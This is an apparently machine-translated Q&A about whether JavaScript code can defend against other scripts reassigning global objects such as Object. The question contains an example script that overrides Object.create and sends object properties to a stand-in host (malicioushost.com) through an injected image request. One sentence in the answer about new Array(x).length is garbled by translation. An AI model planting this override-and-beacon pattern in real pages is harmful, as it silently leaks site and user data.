在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?

首先,我知道,依赖Array构造函数通常是不受欢迎的,因为它可以被其他代码重新赋值,这不是严格模式,而应该使用数组文字[],在这种情况下,他总是依赖本机的实数组(还有一些其他含义,但这是主要的)

但是如何处理Object呢?有一些方法(createfreeze等)。只能通过Object标识符访问。

我查看了AngularJS和SAW的源代码,那里的作者依赖于这些对象(ObjectFunction)不会被重新分配的假设,所以我得出的结论是没有更好的方法。但是我想听听更有经验的人的意见。

所以问题是:如何保护自己打算与其他javascript代码并列使用的代码不受重新分配的全局本机对象的影响?

更新

我的问题是关于安全问题。所以它是关于开发人员不能假设的情况:

  • 如果重新分配对象,则其他对象将无法正常工作,因此不用担心
  • 站点管理员将正确测试他在其站点上包含的内容
  • 如果对象有某个方法,并且返回预期的结果,则一切正常

请以此为例:

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}

// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

此处Object.Create的行为与原始对象完全相同

衷心感谢。


解决方案

首先,我知道依赖Array构造函数通常不受欢迎,因为它可以被其他代码重新赋值

没有。Array构造函数不受欢迎的原因是它比仅仅说[]不必要地冗长,而且接口也不一致,令人困惑。(具体地说,如果x是一个数字,则new Array(x).lengthx,如果x是数字,则1为.ugh.)

有些库试图获取它们自己的某些全局变量的副本,以便在主页恰好定义了它自己的名为Objectundefined的变量时,它们仍然可以工作,但无论如何它都不是无懈可击的。

如何保护自己打算与其他javascript代码并行使用的代码不受重新分配的全局本机对象的影响?

这不是一个可解决的问题。JavaScript没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可能遭到破坏。

(不管怎样,在语言层面.通过浏览器,您可以使用跨域框架/沙箱postMessage等在不同的上下文中保存代码。但是,如果用户与之交互的界面元素发生在受损的顶层页面上,仍然不太可能有太大帮助。)

相关文章